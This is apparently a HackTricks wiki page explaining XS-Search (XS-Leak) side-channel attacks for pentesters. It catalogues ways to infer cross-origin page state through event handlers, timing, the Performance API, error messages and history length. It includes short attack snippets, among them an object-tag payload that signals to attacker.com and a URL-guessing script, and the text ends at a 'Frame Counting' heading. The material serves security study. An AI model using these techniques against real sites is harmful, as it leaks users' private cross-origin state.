HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
XS-Search
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Workflow-powered solution for Bug Bounty, Pentesting, SecOps | Trickest
Trickest
Support HackTricks and get benefits!

Basic Information

XS-Search is a technique oriented to exfiltrate cross-origin information abusing side channel attacks.
There are different elements in this kind of attack:
  • Vulnerable Web: Is the web from where we want to exfiltrate some info
  • Attacker's Web: Is the web the attacker creates containing the exploit and that the victim access
  • Inclusion Method: Is the method used to load the Vulnerable Web from the Attacker's web (like window.open, iframe, fetch, HTML tag with href...)
  • Leak Technique: After accessing the vulnerable web, a technique will be used to differentiate between the potential status of the web with the information obtained from the inclusion method used.
  • States: The 2 possible states the vulnerable web can have depending on the victim that we want to differentiate.
  • Detectable Differences: This is the information the attacker has to try to decide the status of the vulenrable web

Detectable Diferences

In order to distinguish between the 2 states of the vulnerable page several things could be looked at:
  • Status Code. An attacker can distinguish different HTTP response status codes cross-origin (e.g., server errors, client errors, or authentication errors).
  • API Usage. This detectable difference allows an attacker to detect Web APIsโ€™ usage across pages, allowing an attacker to infer whether a cross-origin page is using a specific JavaScript Web API.
  • Redirects. It is possible to detect if a web application has navigated the user to a different page. This is not limited to HTTP redirects but also includes redirects triggered by JavaScript or HTML.
  • Page Content. These detectable differences appear in the HTTP response body itself or in sub-resources included by the page. For example, this could be the number of included frames (cf. XS-Leak on Gitlab) or size differences of images.
  • HTTP Header. An attacker can detect the presence of a specific HTTP response header and may be able to gather its value. This includes headers such as X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy.
  • Timing: An attacker can detect that a consistent time difference exists between 2 states.

Inclusion Methods

  • HTML Elements. HTML offers a variety of elements that enable cross-origin resource inclusion. Elements like stylesheets, images, or scripts, force the victimโ€™s browser to request a specified non-HTML resource. A list that enumerates possible HTML elements for this purpose is available online (https://github.com/cure53/HTTPLeaks).
  • Frames. Elements such as iframe, object, and embed may embed further HTML resources directly into the attacker page. If the page does not use framing protection, JavaScript code can access the framed resourceโ€™s window object via the contentWindow property.
  • Pop-ups. The window.open method loads a resource in a new browser tab or window. The method returns a window handle that JavaScript code can use to access methods and properties, which comply with the SOP. These so-called pop-ups are often used in single sign-on. Modern browsers only allow pop-ups if they are triggered by certain user interactions. For XS-Leak attacks, this method is especially helpful because it bypasses framing and cookie restrictions for a target resource. Newer browser versions recently added means to isolate window handles.
  • JavaScript Requests. JavaScript allows sending requests to target resources directly. There are two different ways for this purpose: XMLHttpRequests and its successor Fetch API. In contrast to previous inclusion methods, an attacker has fine-grained control over the issued request, for example, whether an HTTP redirect must be automatically followed.

Leak Techniques

  • Event Handler. Event handler can be seen as the classical leak technique for XS-Leaks. They are a well-known source of various pieces of information. For example, the trigger of onload indicates a successful resource loading in contrast to the onerror event.
  • Error Messages. Beyond event handlers, error messages can occur as JavaScript exceptions and special error pages. Error messages can be thrown in different steps, for example, directly by the leak technique. The leak technique can either use additional information directly contained in the error message, or distinguish between the appearance and absence of an error message.
  • Global Limits. Every computer has its physical limits, so does a browser. For example, the amount of available memory limits a browserโ€™s running tabs. The same holds for other browser limits that are enforced for the entire browser. If an attacker can determine when the limit is reached this can be used as a leak technique.
  • Global State. Browsers have global states that all pages can interact with. If this interaction is detectable from an attackerโ€™s website, it can be used as a leak technique. For example, the History interface allows manipulation of the pages visited in a tab or frame. This creates a global state because the number of entries allows an attacker to draw conclusions about cross-origin pages.
  • Performance API. The Performance API is used to access the performance information of the current page. Their entries include detailed network timing data for the document and every resource loaded by the page. This allows an attacker to draw conclusions about requested resources. For example, we identified cases where browsers will not create performance entries for some requests.
  • Readable Attributes. HTML has several attributes that are readable cross-origin. This read access can be used as a leak technique. For example, JavaScript code can read the number of frames included in a webpage cross-origin with the window.frame.length property.

Timing Based techniques

Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.
Clocks: The performance.now() API allows developers to get high-resolution timing measurements. There are a considerable number of APIs attackers can abuse to create implicit clocks: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, and others**.** For more info: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

XSinator

XSinator is an automatic tool to check browsers against several know XS-Leaks explained in its paper: https://xsinator.com/paper.pdf You can access the tool in https://xsinator.com/โ€‹
Excluded XS-Leaks: We had to exclude XS-Leaks that rely on service workers as they would interfere with other leaks in XSinator. Furthermore, we chose to exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Workflow-powered solution for Bug Bounty, Pentesting, SecOps | Trickest
Trickest

Event Handler Techniques

Onload/Onerror

The code example try lo load scripts objects from JS, but other tags such as objects, stylesheets, images, audios could be also used. Moreover, it's also possible to inject the tag directly and declare the onload and onerror events inside the tag (instead of injecting it from JS).
There is also a script-less version of this attack:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

unload/beforeunload Timing

The unload and beforeunload events can be used to measure the time it takes to fetch a resource. This works because beforeunload is triggered when the browser requests a new navigation request, while unload is triggered when that navigation actually occurs. Because of this behaviour, it is possible to calculate the time difference between these two events and measure the time it took the browser to complete fetching the resource.

Sandboxed Frame Timing + onload

If a page doesnโ€™t have any Framing Protections implemented, an attacker can time how long it takes for the page and all subresources to load over the network. By default, the onload handler for an iframe is invoked after all the resources have been loaded and all JavaScript has finished executing. But, an attacker can eliminate the noise of script execution by including the sandbox attribute in the <iframe>. This attribute blocks a lot of features including JavaScript execution, which results in almost pure network measurement.

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time.
  • Code Example:
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
  1. 1.
    URL1: www.attacker.com/xssearch#try1
  2. 2.
    URL2: www.attacker.com/xssearch#try2
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • Summary: Attackers can observe when CORB is enforced if a response returns a CORB protected Content-Type (and nosniff) with the status code 2xx which results in CORB stripping the body and headers from the response. Detecting this protection allows an attacker to leak the combination of both the status code (success vs. error) and the Content-Type (protected by CORB or not).
  • Code Example:
Check the more information link for more information about the attack.

onblur

It's possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists. You can perform the same attack with portal tags.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • Summary: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page
  • Code Example: Any code listening for all postMessages.
Applications often use postMessage broadcasts to share information with other origins. Listening to this messages one could find sensitive info (potentially if the the targetOrigin param is not used). Also, the fact of receiving some message can be used as an oracle (you only receive this kind of message if you are logged in).
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Workflow-powered solution for Bug Bounty, Pentesting, SecOps | Trickest
Trickest

Global Limits Techniques

WebSocket API

It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.
If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.

Payment API

This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.
Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.

Timing the Event Loop

JavaScriptโ€™s concurrency model is based on a single-threaded event loop which means it can only run one task at a time. Inferring how long code from a different origin takes to run by measuring how long it takes to run next in the event pool. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an attacker infers the time difference by detecting if a delay occurred with one of its tasks.
In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Busy Event Loop

One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.
In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Connection Pool

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • Summary: An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.
  • Code Example:
Browsers use sockets to communicate with servers. As the operating system and the hardware it runs on have limited resources, browsers have to impose a limit. To exploit the existence of this limit, attackers can:
  1. 1.
    Check what the limit of the browser is, for example 256 global sockets.
  2. 2.
    Block 255 sockets for a long period of time by performing 255 requests to different hosts that simply hang the connection
  3. 3.
    Use the 256th socket by performing a request to the target page.
  4. 4.
    Perform a 257th request to another host. Since all the sockets are being used (in steps 2 and 3), this request must wait until the pool receives an available socket. This waiting period provides the attacker with the network timing of the 256th socket, which belongs to the target page. This works because the 255 sockets in step 2 are still blocked, so if the pool received an available socket, it was caused by the release of the socket in step 3. The time to release the 256th socket is directly connected with the time taken to complete the request.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Workflow-powered solution for Bug Bounty, Pentesting, SecOps | Trickest
Trickest

Performance API Techniques

The Performance API provides access to performance-related information enhanced by the data from the Resource Timing API which provides the timings of network requests such as the duration but when thereโ€™s a Timing-Allow-Origin: * header sent by the server the transfer size and domain lookup time is also provided. This data can be accessed by using performance.getEntries or performance.getEntriesByName It can also be used to get the execution time using the difference of performance.now() however this seems to be less precise for a chrome fetch because it only provides the milliseconds.
This API can be used to measure the time of a request or to detect the use of X-Frame-Options as the blocked page won't be added to the performance object in Chrome.

Error Leak

It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.

Style Reload Error

In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.

Request Merging Error

The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leakโ€‹

Empty Page Leak

An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.

XSS-Auditor Leak

In SA, it is possible to detect if the XSSAuditor was triggered and thus leak sensitive information. The XSS-Auditor is a built-in feature of SA and GC (now removed) designed to mitigate Cross-Site Scripting (XSS) attacks. In 2013, Braun and Heiderich [7] showed that the XSS-Auditor can be used to block benign scripts with false positives. Based on their technique, researchers exfiltrate information and detect specific content on a cross-origin page. These XS-Leaks were first described in a bug report by Terada and later in a blog post by Heyes . However, the discovered techniques applied only to the XSS-Auditor in GC and do not work in SA. We found that blocked pages will not create Performance API entries. That means an attacker can still leak sensitive information with the XSS-Auditor in SA.

X-Frame Leak

If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options. Same happens if you use an embed tag.

Download Detection

Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.

Redirect Start Leak

We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.

Duration Redirect Leak

In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.

CORP Leak

In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.

Service Worker

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application. If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache. To detect if the resource was loaded from the service worker cache the Performance API can be used. This could also be done with a Timing attack (check the paper for more info).

Cache

Using the Performance API it's possible to check if a resource is cached. For more info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resourcesโ€‹

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}
โ€‹
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
The message property of the MediaError interface contains a different string for resources that loads successfully. This allows an attacker to infer the response status for a cross-origin resource.

CORS Error

This technique allows an attacker to leak the target of a redirect that is initiated by a cross-origin site.
CORS allows publicly accessible web resources to be read and used from any website. In Webkit-based browsers, it is possible to access CORS error messages when a CORS request fails. An attacker can send a CORS-enabled request to a target website which redirects based on the user state. When the browser denies the request, the full URL of the redirect target is leaked in the error message. With this attack, it is possible to detect redirects, leak redirect locations, and sensitive query parameters.

SRI Error

An attacker can leak the size of cross-origin responses due to verbose error messages.
The integrity attribute defines a cryptographic hash by which the browser can verify that a fetched resource has not been manipulated. This security mechanism is called Subresource Integrity (SRI). It is used for integrity verification of resources served from content delivery networks (CDNs). To prevent data leaks, cross-origin resources must be CORS-enabled. Otherwise, the response is not eligible for integrity validation. Similar to the CORS error XS-Leak, it is possible to catch the error message after a fetch request with an integrity attribute fails. An attacker can forcefully trigger this error on any request by specifying a bogus hash value. In SA, this error message leaks the content length of the requested resource. An attacker can use this leak to detect differences in response size, which enables powerful XS-Leak attacks.

CSP Violation/Detection

An XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to allow the target domain on the attacker site. Once a request is issued to the target domain, it redirects to a cross-origin domain. CSP blocks the access to it and creates a violation report used as a leak technique. Depending on the browser, this report may leak the target location of the redirect. Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.

Cache

Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has requested a specific file.
If a page loads an image only if the user is logged in, you can invalidate the resource (so it's no longer cached if it was, see more info links), perform a request that could load that resource and try to load the resource with a bad request (e.g. using an overlong referer header). If the resource load didn't trigger any error, it's because it was cached.

CSP Directive

A new feature in GC allows web pages to proposes a CSP by setting an attribute on an iframe element. The policy directives are transmitted along with the HTTP request. Normally, the embedded content must explicitly allow this with an HTTP header, otherwise an error page is displayed. However, if the iframe already ships a CSP and the new policy is not stricter, the page will display normally.
This allows an attacker to detect specific CSP directive of a crossorigin page, if it is possible to detect the error page. Although, this bug is now marked as fixed, we found a new leak technique that can detect the error page, because the underlying problem was never fixed.

CORP

The CORP header is a relatively new web platform security feature that when set blocks no-cors cross-origin requests to the given resource. The presence of the header can be detected, because a resource protected with CORP will throw an error when fetched.

CORB

Check the more information link for more information about the attack.

CORS error on Origin Reflection misconfiguration

In case the Origin header is being reflected in the header Access-Control-Allow-Origin an attacker can abuse this behaviour to try to fetch the resource in CORS mode. If an error isn't triggered, it means that it was correctly retrieved form the web, if an error is triggered, it's because it was accessed from the cache (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain). Note that if the origin isn't reflected but a wildcard is used (Access-Control-Allow-Origin: *) this won't work.

Readable Attributes Technique

Fetch Redirect

Submitting a request using the Fetch API with redirect: "manual" and other params, it's possible to read the response.type attribute and if it's equals to opaqueredirect then the response was a redirect.

COOP

An attacker can leak if the Cross-Origin Opener Policy (COOP) header is available within a cross-origin HTTP response.
Web applications can deploy COOP response header to prevent other websites from gaining arbitrary window references to the application. However, this header can easily be detected by trying to read the contentWindow reference. If a site only deploys COOP in one state, this property (opener) is undefined, otherwise it is defined.

URL Max Length

If a server-side redirect uses user input inside the redirection and extra data. It's possible to detect this behaviour because usually servers has a limit request length. If the user data is that length - 1, because the redirect is using that data and adding something extra, it will trigger an error detectable via Error Events.
If you can somehow set cookies to a user, you can also perform this attack by setting enough cookies (cookie bomb) so with the response increased size of the correct response an error is triggered. In this case, remember that is you trigger this request from a same site, <script> will automatically send the cookies (so you can check for errors). An example of the cookie bomb + XS-Search can be found in the Intended solution of this writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intendedโ€‹

Max Redirects

If the max number of redirects to follow of a browser is 20, an attacker could try to load his page with 19 redirects and finally send the victim to the tested page. If an error is triggered, then the page was trying to redirect the victim.

History Length

The History API allows JavaScript code to manipulate the browser history, which saves the pages visited by a user. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation. Checking history.length, making a user navigate to a page, change it back to the same-origin and checking the new value of history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: It's possible to guess if the location of a frame/popup is in an specific URL abusing the history length.
  • Code Example: Below
An attacker could use JavaScript code to manipulate the frame/pop-up location to a guessed one and immediately change it to about:blank. If the history length increased it means the URL was correct and it had time to increase because the URL isn't reloaded if it's the same. If it didn't increased it means it tried to load the guessed URL but because we immediately after loaded about:blank, the history length did never increase when loading the guessed url.
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}
โ€‹
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
โ€‹
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting